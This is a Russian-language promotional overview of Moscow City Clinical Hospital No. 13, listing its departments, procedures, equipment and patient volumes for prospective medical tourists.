Медицинский туризм

Сергей Эрнестович Аракелов

Городская клиническая больница № 13

Главный врач Сергей Эрнестович Аракелов:

«В ГКБ № 13 медицинские проблемы решаются мультидисциплинарно, с выбором наиболее эффективных и щадящих схем лечения, с тактом и уважением к пациенту».

О больнице:

Многопрофильная скоропомощная городская клиническая больница в системе столичного здравоохранения, в которой уже 70 лет решаются проблемы здоровья любой сложности. Особое внимание в больнице уделяется профилактике и ранней диагностике опасных для жизни сердечно-сосудистых патологий, неврологических. На базе больницы созданы службы, которым нет аналогов в Москве – гнойная хирургия, травматология и ортопедия, выхаживание недоношенных детей и другие.

В больнице имеются следующие профили: терапевтический, неврологический, кардиологический, кардиологический для больных с инфарктом миокарда, хирургический (чистая и гнойная хирургии), нейрохирургический, гинекологический, травматологический, ортопедический, также педиатрический (специфика – выхаживание недоношенных детей). Больница работает круглосуточно. В каждом корпусе больницы есть свое приемное отделение, а также свои реанимационные койки. Такой подход позволяет обеспечить максимальный комфорт для пациентов и наиболее эффективное лечение при возникновении критических ситуаций. В больнице есть два поликлинических отделения.
ГКБ № 13 является Университетской клиникой Российского национального исследовательского медицинского университета имени Н.И. Пирогова, Российского университета дружбы народов им. Патриса Лумумбы, Московского государственного медицинского университета им. А.И. Евдокимова.

Список медицинского персонала

1.Приемные отделения
Ежегодно через приемные отделения проходят более 45 000 пациентов, большую часть которых составляют больные, поступающие по скорой помощи. Приемные отделения расположены в хирургическом, терапевтическом и детском корпусах. В приемных отделениях имеются  диагностические койки, куда госпитализируются пациенты с неясными диагнозами или требующие динамического наблюдения. Здесь пациентам могут быть проведены любые обследования перед госпитализацией или перед операцией.

 

2.Травматологический корпус
Отделение неотложной травматологии и ортопедии
Выполняет функции приемно-диагностического отделения и травмпункта. В нем оказывается экстренная медицинская помощь. Есть 2 рентгено-диагностических кабинета. Уровень оснащения отделения при необходимости позволяет провести экстренную оперативную помощь.

Травматологическое отделение

Отдел малоинвазивной ортопедии (артроскопии):

Выполняются артроскопические операции на коленном и плечевом суставах.

Травматологическое отделение является клинической базой кафедры ортопедии и травматологии Российского университета дружбы народов под руководством профессора Н.В. Загороднего.

В год в отделении проходят лечение примерно 2700 больных. За год в отделении проводится около 2600 операций.

Достижением клиники травматологии является внедрение современного подхода в лечении пожилых пациентов с вертельными переломами бедренной кости. Этот подход направлен на максимально ранний (до 72 часов с момента травмы) остеосинтез переломов бедра.

Сформированная команда профессионалов (травматологов, анестезиологов, терапевтов и кардиологов) активно проводит с 2011 года программу «Пожилые люди». Мощный клинико-диагностический и лабораторный комплекс позволяет в течение 24 часов обследовать и подготовить к операции пациента с переломом проксимального отдела бедра, а применение современных фиксаторов и малоинвазивных операций остеосинтеза.

Отделение оснащено современной лечебно-диагностической аппаратурой, имеет в своем составе палаты повышенной комфортности. Отделение оказывает платные услуги. Основной принцип работы отделения – раннее оперативное лечение переломов с применением современных новейших технологий, принятых в ведущих травматологических клиниках мира.

Отделением накоплен большой клинический опыт по оперативному лечению переломов верхних и нижних конечностей у пожилых больных, страдающих артериальной гипертонией, кардиосклерозом, нарушениями ритма сердца, последствиями перенесенного инфаркта миокарда и инсульта, сахарным диабетом, полиартритом; внутрисуставные переломы верхних и нижних конечностей, в том числе переломов лодыжек; переломы пяточной и таранной костей; переломы лучевой кости в «типичном месте».

В травматологическом комплексе функционирует прекрасно оснащенное отделение восстановительного лечения. Широко используются в послеоперационном периоде различные виды физиотерапии, массаж, индивидуальные занятии лечебной гимнастикой с опытными врачами и методистами. Имеется барозал. В отдаленном послеоперационном периоде пациенты отделения травматологии имеют возможность пройти реабилитацию в «Московском научно-практическом центре медицинской реабилитации, восстановительной и спортивной медицины ДЗМ города Москвы».

В зале ЛФК проводится обучение упражнениям на тренинг баланса, которые  можно выполнять в домашних условиях.

Группа травматологов-ортопедов (вертебрологов)

В травматологическом отделении широко используются в хирургии позвоночника  миниинвазивные технологии, то есть через миниатюрнейшие разрезы. Так лечатся грыжа межпозвонкового диска, стеноз позвоночного канала, метастатические поражения позвонков, деформации позвоночника.

Благодаря новейшим методикам лечения, средний срок пребывания в стационаре 5 – 7 дней.

Ортопедическое отделение

Отделение ортопедии ГКБ № 13 – это современное, технологически высокоразвитое отделение.     Ежегодно более 3500 тысяч амбулаторных пациентов наблюдаются в ортопедическом отделении. В год проводится более 900 хирургических операций на крупных суставах конечностей и мелких суставах стопы.

Сегодня ортопедическое отделение – это:

  • 4 операционных зала, спроектированные в соответствии с мировыми требованиями и оснащенные хирургическим оборудованием последнего поколения;
  • опытные хирурги-ортопеды, прошедшие стажировку в ведущих клиниках Европы, Азии и США;
  • уникальные хирургические методики, разработанные специалистами отделения;
  • высокоэффективный послеоперационный курс медицинской реабилитации;
  • современные технологии, которые позволяют сократить сроки пребывания больных в отделении;
  • сроки наблюдения больных после эндопротезирования крупных суставов более 20 лет;
  • в отделении выполнено более 12 000 операций эндопротезирования крупных суставов.

Проводится от 4 до 6 операций в день. Спустя 20 лет работы в области тотального эндопротезирования тазобедренного и коленного суставов доля успешных операций составляет более 98%.

Отделение реанимации интенсивной терапии №4 (ОРИТ № 4)

Отделение основано в 1998 году. Расположено на 5-ом этаже травматологического корпуса.

Оперблок рассчитан на 5 плановых операционных  для выполнения операций тавматолого-ортопедического профиля и   малоинвазивных артроскопических операций. Реанимационный блок рассчитан на 9 коек и размещен в 2-х палатах. Операционные и реанимационный блок оснащены всем.

 

3.Хирургический корпус

Хирургическое отделение №1
В хирургическом отделении №1 выполняется весь спектр оперативных вмешательств по поводу заболеваний органов брюшной полости.

В отделении проводится работа по совершенствованию хирургической тактики на основе лучших клинических международных протоколов.

Стандартизована техника выполняемых оперативных вмешательств, основанная на современных взглядах в хирургии. Выполняются все современные методики пластик при грыжах различных локализаций с использованием аллопластических материалов, в том числе реконструкции брюшной стенки при гигантских дефектах, которые являются уникальными.

Выполняются лапароскопические операции на желудке, поджелудочной железе, желчных протоках, толстой кишке, в том числе реконструктивно-восстановительные (устранение колостом).

Хирурги отделения работают в области хирургической эндокринологии – это операции на надпочечниках, щитовидной и паращитовидной железах и эстетической флебология (мини-флебэктомия, склеротерапия). В отделении выполняется одна из самых технически сложных операций на сегодняшний день, проводимая только в немногих центрах в мире, – лапароскопическая панкреатодуоденальная резекция.  Экстренные операции также выполняются лапароскопическим способом: аппендэктомия, ушивание перфоративной язвы, операции при острой спаечной кишечной непроходимости, ущемленной грыже и т.д. Причем, наличие рубцов на брюшной стенке от предыдущих вмешательств не являются противопоказанием к лапароскопическим операциям. В отделении внедрена концепция Fast Track Surgery (хирургия быстрого восстановления) — программа комплексного лечения (предоперационная подготовка, оперативное вмешательство, послеоперационный период), целью которой является уменьшение периода нахождения в стационаре, количества послеоперационных осложнений.

Хирургическое отделение №2 

В сотрудничестве с отделением эндоскопии проводятся все виды высокотехнологичных эндохирургических вмешательств: ЭРХПГ (эндоскопическая ретроградная холангиопанкреатография), литоэкстракция (эндоскопическое удаление камней из желчных протоков и поджелудочной железы), установка стентов и эндопротезов желчевыводящих и панкреатического протоков.

Отделение гнойной хирургии № 3

В ГКБ № 13 организован кластер по лечению ран и раневых инфекций, в состав которого вошли: на базе поликлиники – амбулаторная служба КДО и дневной стационар, а на базе стационара – отдельный бокс с перевязочной в приемном отделении и отделение гнойной хирургии на 50 коек с профильным реанимационным отделением на 9 коек. Возглавляет службу гнойной хирургии кандидат медицинских наук, доцент кафедры общей хирургии и лучевой диагностики л/ф РНИМУ им. Н.И. Пирогова Владимир Николаевич Оболенский.

На одном этаже с отделением гнойной хирургии находится и профильное отделение гнойно-септической реанимации и интенсивной терапии № 6, имеющее в составе отдельный бокс со шлюзом для больных с анаэробной инфекцией и полностью оснащенное лечебным и диагностическим оборудованием.

Отделение гнойной хирургии № 3 стационара работает круглогодично с полной загруженностью ввиду высокой востребованности данного вида специализированной помощи в городе Москве. За год в среднем стационарную помощь получают свыше 2200 пациентов, производится более 3000 оперативных вмешательств, причем плановые операции и перевязки производятся 6 дней в неделю.

На одном этаже с отделением гнойной хирургии находится и профильное отделение гнойно-септической реанимации и интенсивной терапии № 6, имеющее в составе отдельный бокс со шлюзом для больных с анаэробной инфекцией и полностью оснащенное лечебным и диагностическим оборудованием, а также зал гипербарической оксигенации (ГБО).

В диагностике заболеваний используются все возможности стационара – лабораторные, морфологические, ультразвуковые, рентгенологические и эндоскопические исследования, МРТ, МСКТ (в том числе 3D-МСКТ-ангиография – определение патологии артериального и венозного кровотока), транскутанное определение напряжения кислорода в тканях.

С целью обеспечения этапной и преемственной медицинской помощи с 2012 года в ГКБ № 13 организован Амбулаторный кабинет ран и раневых инфекций, обращаемость – свыше 500 посещений в месяц.

В отделении гнойной хирургии стационара и в амбулаторной практике используются современные методы лечения ран и раневых инфекций, внедряются новейшие отечественные и зарубежные технологии, разрабатываются и внедряются инновационные и импортозамещающие технологии. Основные направления работы – лечение больных с гнойными заболеваниями мягких тканей, синдромом диабетической стопы, остеомиелитами, перипротезной инфекцией, хроническими ранами и трофическими язвами различной этиологии.

Хирургическое отделение № 3 ГКБ № 13 первым в России широко внедрило опыт вакуум-терапии ран. Здесь разработан, запатентован и зарегистрирован импортозамещающий аппарат для лечения ран локальным отрицательным давлением «ВаСта», который используется и в амбулаторной практике.

Также получен патент на метод лечения синдрома короткой кишки, включающего в себя магнитный анастомоз и квантовую терапию. Внедрен в практику метод непрямой электроимпульсной миостимуляции у больных с различной патологией, в том числе впервые – у больных травматологического профиля.

Впервые в мировой практике в хирургическом отделении № 3 разработана и внедрена методика стимуляции регенераторных процессов хронических ран с использованием аутологичных тромбоцитарных факторов роста (методика используется в стоматологии, травматологии и спортивной медицине), обеспечивающая полную биологическую безопасность пациента.

В настоящее время в отделении разработана методология использования различных видов органосохраняющих и реконструктивных костно-пластических операций с применением антибактериальных биокомпозитных материалов, с погружным и наружным остеосинтезом на инфицированной диабетической стопе и стопе Шарко.

Большое внимание уделяется лечению больных с перипротезной инфекцией – после эндопротезирования крупных суставов, металлоостеосинтеза переломов, эндокоррекции сколиоза, ненатяжной герниопластики, сосудистых операций; используются различные виды антибактериальных спейсеров, антибактериальных биокомпозитных и остеозамещающих материалов, тромбоцитарные факторы роста, метод локального отрицательного давления и пр.

С 2015 года отделение гнойной хирургии включено в программу оказания высокотехнологичной медицинской помощи пациентам с инфицированными эндопротезами крупных суставов и синдромом диабетической стопы.

При гнойно-воспалительных заболеваниях крупных суставов используется метод санационной артроскопии.

В последние 2 года в отделении совместно с нейрохирургами внедрена новая хирургическая концепция лечения больных с гнойными спондилодисцитами и паравертебральными гнойно-воспалительными процессами с использованием вакуум-терапии и антибактериальных спейсеров.

С 2018 года реализована оригинальная методика лечения хронических ран и ишемических поражений с использованием инъекционной карбокситерапии.

В отделении также проводятся различные виды пластических операций для закрытия обширных и хронических раневых дефектов. При лечении пациентов с тяжелыми гнойно-септическими осложнениями часто используется сочетание различных методов.

В целом в отделении придерживаются принципов мультидисциплинарного подхода, преемственности и этапности оказания специализированной и высокотехнологичной медицинской помощи.

Отделение нейрохирургии

Отделение нейрохирургии оказывает экстренную и плановую нейрохирургическую помощь. Основными направлениями работы отделения являются сосудистая нейрохирургия, внедрение и разработка малоинвазивных эндоскопических операций при нетравматических и травматических внутримозговых гематомах, проведение реваскуляризирующих операций при стенозах и окклюзиях сонных артерий.

Оснащение больницы современным оборудованием позволяет проводить высокотехнологичные операции  пациентам со следующими заболеваниями:

  • опухоли головного и спинного мозга различной локализации;
  • дегенеративно-дистрофические заболевания позвоночника (грыжи дисков и полифакторный стеноз позвоночного канала, спондилолистезы, фасеточный синдром);
  • аномалии и травмы кранио-вертебрального перехода;
  • гидроцефалия (ликворошунтирующие операции);
  • черепно-мозговая травма (в том числе дефекты костей свода и лицевого черепа).

Оснащение отделения реанимации мониторами измерения внутричерепного давления позволяет пациентам с тяжелой черепно-мозговой травмой, находящихся в критическом состоянии, проводить патогенетически обоснованную терапию и качественно улучшить результаты лечения.

Также выполняются оперативные вмешательства пациентам с нарушением кровоснабжения головного мозга вследствие атеросклеротического поражения сонных артерий. Техника реконструкции сонной артерии, используемая в ГКБ № 13, позволяет полностью ликвидировать причину ишемического инсульта – атеросклеротическую бляшку, предотвратить развитие повторных, часто летальных инсультов, улучшить деятельность головного мозга, вернуть больных к нормальной жизни.

Отделение урологии

Оснащено оборудованием для оказания высокотехнологической (лапароскопической, лазерной, плазменной, миниинвазивной) хирургической помощи.

В отделении применяются современные миниинвазивные методы: лапароскопическая хирургия по поводу доброкачественной и злокачественной патологии, эндоскопические вмешательства при мочекаменной болезни, доброкачественной гиперплазии предстательной железы, пункционные вмешательства, микрохирургия.

Также выполняются сложные симультанные и комбинированные вмешательства по поводу сочетанных заболеваний эндовидеохирургическим путем.

Несмотря на хирургическую направленность деятельности, в отделении также проводится успешное консервативное лечение воспалительных заболеваний органов мочеполовой системы (острый пиелонефрит, острый простатит, острый эпидидимит).

Хирургическое отделение № 4 (внебюджетное инновационное хирургическое отделение)

Отделение оказывает высокотехнологичную плановую и экстренную хирургическую помощь гражданам РФ и иностранным гражданам, по профилю: хирургия, колопроктология, бариатрическая хирургия, урология, гинекология, нейрохирургия.

Спектр оперативных вмешательств:

  • лапароскопические операции на желудке, поджелудочной железе, желчных протоках, толстой кишке, в том числе реконструктивно-восстановительные;
  • лапароскопическая и эндоскопическая урология (по поводу доброкачественных и злокачественных заболеваний почек, мочеточников, мочевого пузыря и предстательной железы);
  • лапароскопические гинекологические операции, в том числе по поводу онкогинекологических заболеваний.

Сотрудники отделения проходили стажировки в тренинг-центрах США, Израиля  и Германии.

Гинекологическое отделение 

Гинекологическое отделение организовано в 1974 году с момента открытия хирургического корпуса. Имеются палаты повышенной комфортности. Большинство операций осуществляется эндоскопическим доступом с применением новейших органосохраняющих технологий, направленных на кратчайшее пребывание пациентки в стационаре и  сохранение менструальной функции с возможностью дальнейшего деторождения (диагностическая и оперативная лапароскопия и гистероскопия, биполярная гистерорезектоскопия). Беременным женщинам до 21 недели гестации проводят лечение по сохранению и пролонгированию беременности.

Перечень заболеваний, лечение которых проводится в отделении в плановом и экстренном порядке:

  • женское бесплодие (репродуктивная хирургия, эндометриоз, тазовые боли);
  • миома матки (в том числе операции с сохранением матки при миомах больших размеров, а также при субмукозном расположении миоматозного узла);
  • кисты и опухоли придатков матки;
  • эндометриоз различной локализации;
  • внематочная беременность (в том числе операции с сохранением маточной трубы);
  • апоплексия яичника;
  • опущение и выпадение половых органов;
  • недержание мочи;
  • патология эндометрия (гиперплазия, полип, внутриматочные синехии, и т.д.);
  • заболевания шейки матки (полип, эктопия, лейкоплакия, дисплазия шейки матки и т.д.);
  • современные подходы с использованием эндоскопических технологий в лечении гнойно-воспалительных заболеваний органов малого таза (в том числе заболеваний, передающихся половым путем, профилактика бесплодия и хронизации воспалительного процесса);
  • угрожающий самопроизвольный выкидыш (до 22 недель беременности);
  • привычное невынашивание (в том числе комплексное лечение при невынашивании беременности, вызванном тромбофилическими мутациями, АФС, истмико-цервикальной недостаточности);
  • неразвивающаяся беременность.

 

4.Терапевтический корпус

Приемное отделение №2

Отделение создано для экстренной и плановой госпитализации больных и оказания своевременной, качественной помощи поступающим пациентам по терапевтическому, неврологическому и кардиологическому профилям.

В штате приемного отделения № 2, основным направлением которого является своевременная диагностика заболеваний сердечно – сосудистой и нервной систем, осуществляют круглосуточный прием терапевт и невролог. По клиническим показаниям пациентам проводятся консультации врачей других специальностей и выявление показаний для госпитализации в стационар. На базе приемного отделения №2 развернуты 8 диагностических коек для проведения обследования и динамического наблюдения.

Неврологическое отделение №1

Отделение специализируется на лечении и ранней реабилитации больных с острым нарушением мозгового кровообращения. На базе отделения работает кафедра неврологии РНИМУ им. Н.И.Пирогова.

Показанием для госпитализации в отделение является острый период ишемического и геморрагического инсульта, а также транзиторные ишемические атаки. Больные в экстренном порядке доставляются скорой медицинской помощью в приемное отделение, где осматриваются врачом-неврологом, и при необходимости другими специалистами, делается ЭКГ, берутся анализы крови и после сканирования головного мозга пациент госпитализируется в отделение нейрореанимации (ОРИТ № 3). После завершения курса терапии в ОРИТ № 3 пациенты переводятся в неврологическое отделение № 1 для дальнейшего лечения, где обеспечен весь комплекс необходимых лечебных, диагностических и реабилитационных мероприятий. Отделение располагает всем необходимым спектром лекарственных препаратов и оснащением для оказания помощи при данной патологии, полностью оборудовано многофункциональными кроватями, что позволяет проводить все необходимые процедуры и транспортировку больных с минимальным для них беспокойством.

В полном объеме работает служба ранней реабилитации больных с инсультом. Работа организована по принципу мультидисциплинарных бригад в составе врачей-неврологов, врачей ЛФК, инструкторов-методистов, логопедов, психолога, физиотерапевта. Отделение оснащено полным комплектом оборудования для механо-эрго-кинезотерапии: зал лечебной физкультуры, полностью оснащенный всем предусмотренным оборудованием включая роботизированные комплексы, столы-вертикализаторы, комплексы для эрготерапии.

После завершения курса стационарного лечения пациенты переводятся на дальнейшее амбулаторное лечение. При наличии выраженного стеноза брахиоцефальных артерий проводится консультация сосудистого хирурга и при необходимости данная категория больных направляется в отделение рентгенохирургических методов диагностики и лечения.

Отделение активно сотрудничает с Московским научно-практическим центром медицинской реабилитации, восстановительной и спортивной медицины Департамента здравоохранения города Москвы, направляя пациентов на дальнейшее стационарное реабилитационное долечивание.

В отделении возможно проведение следующих диагностических методов исследования:

  • мультиспиральная компьютерная томография головного и спинного мозга;
  • магнитно-резонансная томография;
  • ультразвуковые методы исследования (дуплексное сканирование брахиоцефальных артерий и вен, транскраниальное дуплексное сканирование, эхокардография, эхоэнцефалоскопия);
  • суточное мониторирование ЭКГ и АД с компьютерным анализом;
  • электроэнцефалография с возможностью суточного мониторирования;
  • электронейромиография (проводниковая и с наложением игольчатых электродов);
  • рентгенодиагностика;
  • лабораторные исследования.

Неврологическое отделение №2

Отделение оснащено новыми многофункциональными кроватями с возможностью быстрой транспортировки пациента, централизованной подачей кислорода к каждой койке, системой экстренного оповещения из палат от каждой койки на пост медицинской сестры.

В отделении работают, помимо врачей-неврологов, медицинский психолог, логопед, иглорефлексотерапевт, физиотерапевт, врач и методист ЛФК, медицинские сестры и младшие медицинские сестры. Подобная организация отделения позволяет в полной мере реализовать на практике мультидисциплинарный подход в лечении и реабилитации пациентов с острой цереброваскулярной патологией (инфаркты, кровоизлияния, преходящие нарушения мозгового кровообращения). Пациентам с острой цереброваскулярной патологией  с первых суток в условиях отделения реанимации и интенсивной терапии наряду с индивидуально подобранной медикаментозной терапией проводятся ранние реабилитационные мероприятия. По мере стабилизации состояния пациенты переводятся в том числе и в неврологическое отделение № 2, где продолжаются наблюдение, лечение и ранняя реабилитация пациентов. Быстрое восстановление двигательных нарушений происходит на занятиях в двух высокооснащенных реабилитационных залах с помощью различных приспособлений и тренажеров для кинезиотерапии, эрготерапии, массажа, физиотерапии. Психологическая коррекция проводится квалифицированным медицинским психологом и психотерапевтом. Пациентами с речевыми нарушениями занимается логопед.

Объем и спектр деятельности диагностических подразделений полностью обеспечивают потребности неврологической службы и соответствуют современным мировым стандартам оказания медицинской помощи.

Кардиологическое отделение № 1

Кардиологическое отделение № 1 для больных инфарктом миокарда, отделение рентгенхирургических методов диагностики и лечения (ОРХМДиЛ), отделение реанимации и интенсивной терапии (ОРИТ № 2) составляют структурные подразделения Первичного Сосудистого Отделения, созданного на базе больницы в 2011 году.

Подразделения являются единым целым, подчиняясь главной задаче – оказанию круглосуточной (в режиме 24/7) лечебно-диагностической помощи больным с острым коронарным синдромом (инфаркт миокарда, нестабильная стенокардия) в соответствии с самыми современными стандартами медицинской помощи.

В отделении имеются комфортабельные 6-ти и 2-х местные палаты, оборудованные душевой кабиной, санузлом, холодильником. Имеются также 6 палат (двухместных) повышенной комфортности, условия в которых максимально приближены к домашней обстановке (с душевой кабиной, санузлом, холодильником и телевизором). Отделение оснащено многофункциональными кроватями с возможностью быстрой транспортировки пациента, централизованной подачей кислорода к каждой койке, системой экстренного оповещения (сигнализации) из палат от каждой койки на пост медицинской сестры.

Пациенты с острыми формами кардиальной патологии, в том числе и после проведения эндоваскулярных процедур, после стабилизации состояния переводятся из ОРИТ № 2 в кардиологическое отделение № 1, где продолжается лечение пациентов. Применяются методики ранней реабилитации пациентов с острым коронарным синдромом – индивидуальные и групповые занятия проводят врач и инструктор по лечебной физкультуре, врач-физиотерапевт. Психологическая коррекция проводится квалифицированным психотерапевтом. Отделение кардиологии № 1  организует свою работу совместно с кафедрой поликлинической терапии лечебного факультета  РНИМУ им. Н.И.Пирогова.

В диагностически сложных случаях и для больных с тяжелым состоянием организуются  врачебные консилиумы с участием профессуры и ведущих специалистов стационара по различным клиническим  областям медицины.

Отделение рентгенхирургических методов диагностики и лечения (ОРХМДиЛ)

Отделение рентгенохирургических методов диагностики и лечения  работает в круглосуточном режиме. В отделении установлена новейшая ангиографическая система Toshiba Infinix VF-I c универсальным плоским детектором, благодаря которому есть возможность выполнения всего спектра рентгенэндоваскулярных процедур как лечебного, так и диагностического характера во всех сосудистых бассейнах человека.

С момента своего открытия отделение рентгенохирургических методов диагностики и лечения выполняет весь спектр диагностических и лечебных чрескожных коронарных вмешательств больным с различными формами ИБС:

  • коронарная ангиография;
  • баллонная ангиопластика коронарных артерий;
  • стентирование коронарных артерий;
  • реканализация хронических окклюзий коронарных артерий;
  • реканализация острых окклюзий коронарных артерий.

В настоящий момент основным направлением деятельности отделения являются диагностические и лечебные мероприятия при различных формах ИБС как при острых, так и в хронических состояниях, имплантация и удаление кава-фильтров, ангиография и стентирование сосудов почек.

  • помогает пациентам с 2013 года;
  • более 8000 больных, более 1500 пациентов ежегодно, из них более 100 – иностранных граждан;
  • проводятся все виды диагностических и лечебных процедур на всех сосудистых бассейнах;
  • основное направление работы – пациенты с острым инфарктом миокарда и хронической ишемической болезнью сердца;
  • сфокусировано на обеспечении качественного лечения пациентов в соответствии с последними международными рекомендациями;
  • постоянно повышается квалификация, выступая на ведущих российских и международных конференциях;
  • возможность online консультаций.

Основные виды диагностических и лечебных вмешательств, которые выполняются в отделении:

  • коронарография;
  • шунтография;
  • ангиография артерий нижних конечностей;
  • ангиография брахиоцефальных артерий;
  • флебография;
  • оптическая когерентная томография (ОКТ);
  • измерение фракционного резерва кровотока (ФРК);
  • стентирование коронарных артерий;
  • стентирование брахицефальных артерий;
  • стентирование артерий нижних конечностей;
  • эмболизация интракраниальных аневризм и мальформаций головного мозга;
  • тромбэкстракция при остром нарушении мозгового кровообращения;
  • имплантация постоянных электрокардиостимуляторов;
  • имплантация и удаление кавафильтров;
  • эмболизация маточных артерий.

Кардиологическое отделение № 2

Специализируется на современной комплексной диагностике и лечении широкого спектра заболеваний кардиологического профиля:

  • артериальная гипертония;
  • ишемическая болезнь сердца;
  • нарушения ритма сердца;
  • хроническая сердечная недостаточность;
  • кардиомиопатии.

В отделении проводится подготовка пациентов к коронарной баллонной ангиопластике и стентированию.

Отделение реанимации и интенсивной терапии № 3

Реанимационная служба в ГКБ № 13 состоит из восьми отделений реанимации и интенсивной терапии (ОРИТ). Отделения реанимационной службы расположены в различных корпусах и тесно взаимодействуют с клиническими отделениями больницы.

ОРИТ № 3 функционирует в составе Первичного сосудистого отделения больницы, которое включает в себя также отделение неврологии для больных с острым нарушением мозгового кровообращения.       В отделении трудится команда специалистов высокого профессионального уровня – это врачи анестезиологи-реаниматологи и врачи-неврологи. Средний и младший медицинский персонал имеет специализацию и опыт работы с больными с острыми нарушениями мозгового кровообращения, находящимися на лечении в реанимационном отделении. Весь медицинский персонал способен оказать высококвалифицированную реанимационную помощь больным, находящимся на лечении в нашем отделении.

Основная цель работы отделения – помощь больным с острым нарушением мозгового кровообращения различного генеза (ишемический инсульт, геморрагический инсульт, транзиторная ишемическая атака, гипертонический криз, осложненный острой гипертонической энцефалопатией), а также больным с нарушениями жизненно важных функций организма вследствие развития острого нарушения мозгового кровообращения (кома, нестабильная гемодинамика, вторичные осложнения вследствие инсульта). Применение мульдисциплинарного подхода с первого дня оказания медицинской помощи, с привлечением врачей-специалистов, в том числе, врача лечебной физкультуры, врача по медицинской реабилитации, врача — физиотерапевта, логопеда, медицинского психолога и, при наличии медицинских показаний, иных специалистов, обеспечивает оптимизацию лечения и благоприятный прогноз восстановительного лечения пациентов.

ОРИТ № 3 активно сотрудничает с кафедрой неврологии РНИМУ им.Н.И.Пирогова. Сотрудники кафедры участвуют в обходах, клинических разборах, консилиумах, проводимых в отделении.

В ОРИТ № 3 имеется весь спектр самого современного оборудования, позволяющего оптимизировать процесс лечения пациентов с острым нарушением мозгового кровообращения в первые часы от поступления в стационар. Это оборудование для проведения искусственной вентиляции легких, высокоскоростного назального потока, мониторирования показателей гемодинамики (АД, ЧСС и др.) в круглосуточном режиме, для проведения искусственной гипотермии, для дозированного введения лекарственных препаратов и контроля уровня глюкозы в крови с адекватным подбором дозы инсулина. Мобильное диагностическое оборудование (аппарат для проведения УЗИ экспертного класса, электроэнцефалограф, электрокардиограф, аппарат для проведения рентгенографии и др.) позволяют проводить обследование больных непосредственно в отделении реанимации. Имеется оборудование для ранней реабилитации пациентов. Отделение полностью укомплектовано функциональными кроватями, в том числе с функцией вертикализации пациента. В лечении ОРИТ № 3 использует доказавшие свою эффективность лекарственные препараты.

Одним из подходов в лечении ишемических инсультов, применяемых в ОРИТ № 3, является проведение современных высокоэффективных методов лечения, направленных на восстановление кровотока в пораженном сосуде. Тромболитическая терапия и рентгенэндоваскулярная хирургия у больных с ишемическим инсультом в первые часы заболевания позволяет предотвратить развитие необратимого повреждения вещества головного мозга или уменьшить его объем, что дает возможность уменьшить степень неврологического дефицита.

Отделение реанимации и интенсивной терапии №7

В отделение  поступают  пациенты терапевтического, кардиологического, неврологического профилей с заболевания дыхательной, сердечно-сосудистой, нервной систем, больные с декомпенсаций сахарного диабета, с заболеваниями желудочно-кишечного тракта  (токсические гепатиты и циррозы печени), наркотические и алкогольные комы, больные с выраженными аллергическими реакциями, токсикодермией, гематологические больные. Накоплен  опыт ведения больных с тяжелыми внебольничными пневмониями с респираторным дистресс-синдромом, сепсисом и полиорганной недостаточностью. Лечение дыхательной недостаточности у пациентов с ХОБЛ тяжелого течения  с применением современных методов инвазивной и неинвазивной ИВЛ. В отделении успешно внедряются передовые технологии и методики в лечении и обследовании больных. Отделение добилось  максимальных положительных результатов в лечении тяжелых аллергических реакций: анафилактического шока, синдрома Стивена-Джонсона на лекарственные и контрастные препараты. Проводится  интенсивная терапия и лечение  пациентов с острой декомпенсацией, хронической сердечной недостаточностью,  рефрактерной к диуретической терапии, с применением современных протоколов лечения хронической сердечной недостаточности в сочетании с заместительной почечной терапией.

Разработан алгоритм по обследованию больных по нозологическим формам, включающие все необходимые инструментальные исследования (рентгенологические исследования, ЭКГ, УЗИ органов брюшной полости, забрюшинного пространства, плевральных полостей, щитовидной железы, ЭГДС, ФБС, КТ, ЭХО-КГ, допплерографическое исследование сосудов), широкий спектр лабораторных исследований, проводится мониторирование гемодинамических показателей. Совместно с клиническим фармакологом отрабатываются схемы антибактериальной терапии, проводятся лечебно-диагностические бронхоскопии, проводится микробиологическое исследование с идентифицированием возбудителя и определением чувствительности к антибиотикам крови, мочи, мокроты, раневого отделяемого. Химико-технологическое исследование при необходимости проводится в токсикологической лаборатории НИИ им. Склифосовского и планово в 17 наркологическом диспансере.

Выполняются в отделении плевральные пункции, пункции перикарда, спинномозговые, стернальные пункции – ранняя диагностика заболеваний и начало лечения.

Пациентам с нарушениями сердечного ритма проводится антиаритмическая терапия, что снижает пребывание пациента в ОРИТ  с нескольких суток до нескольких часов.

Отделение оснащено современным диагностическим и лечебным оборудованием: многофункциональными электрокардиографами Schiller, дефибрилляторами Schiller, кардиостимулятором для временной ЭКС, перфузорами и инфузоматами Braun, системой мониторирования основных показателей гемодинамики с  центральной станцией слежения, дыхательными аппаратами, передвижной рентген-установкой, аппаратом УЗИ.

Отделение снабжается всеми необходимыми современными лекарственными препаратами и расходными материалами, необходимыми для лечения реанимационных пациентов.

Диагностические возможности:

  • рентген;
  • электрокардиография (ЭКГ);
  • эхокардиографии (ЭхоКГ);
  • УЗИ органов брюшной полости;
  • УЗАС сосудов ( артерий и вен);
  • холтеровское мониторирование;
  • лабораторная диагностика.

Терапевтическое отделение

Высокий профессионализм, внимательное и неформальное отношение – отличительная черта персонала. Все врачи отделения владеют широким спектром лечебно- диагностических пункций: абдоминальной, плевральной и стернальной. В работе использую последние достижения отечественной медицины.

Основной сестринский состав имеет высшую квалификационную категорию, обучены уходу и оказанию профессиональной медицинской помощью различным категориям больных.

В терапевтическом отделении оказывают врачебную помощь пациентам с заболеваниями:

  • болезни сердечно-сосудистой системы (ишемическая болезнь сердца, артериальная гипертония, сердечная недостаточность, нарушения ритма сердца);
  • патология дыхательных путей и легких (хронические бронхиты, бронхиальная астма, пневмонии);
  • патология желудочно-кишечного тракта (гастриты, язвенная болезнь, гепатиты и циррозы, заболевания кишечника).

Питание пациентов в отделении осуществляется согласно назначенной диете сбалансированное по химическому составу и химической ценности.

Все палаты оборудованы отдельными туалетами и душевыми кабинами, системами двухсторонней связи, современными функциональными кроватями и устройствами для вызова медперсонала.

Консультативное отделение

Консультативное отделение представляет собой многопрофильное подразделение больницы, осуществляющее консультации пациентов, находящихся на стационарном лечении, проводит курацию диагностически сложных и неясных пациентов. В отделении работает более 20 специалистов разных специальностей: офтальмологи, терапевты, ЛОР-врач, уролог, ревматолог, неврологи, онколог, психиатр, психотерапевт, дерматовенеролог, гематолог,  нейрохирург, нарколог, эндокринологи, торакальный хирург.

Отделение гипербарической оксигенации (ГБО)

Отделение ГБО имеет в своем составе 2 барозала: барозал терапевтического корпуса,  в котором установлены  2 бароаппарата, и барозал хирургического корпуса, в котором установлена 1 барокамера.

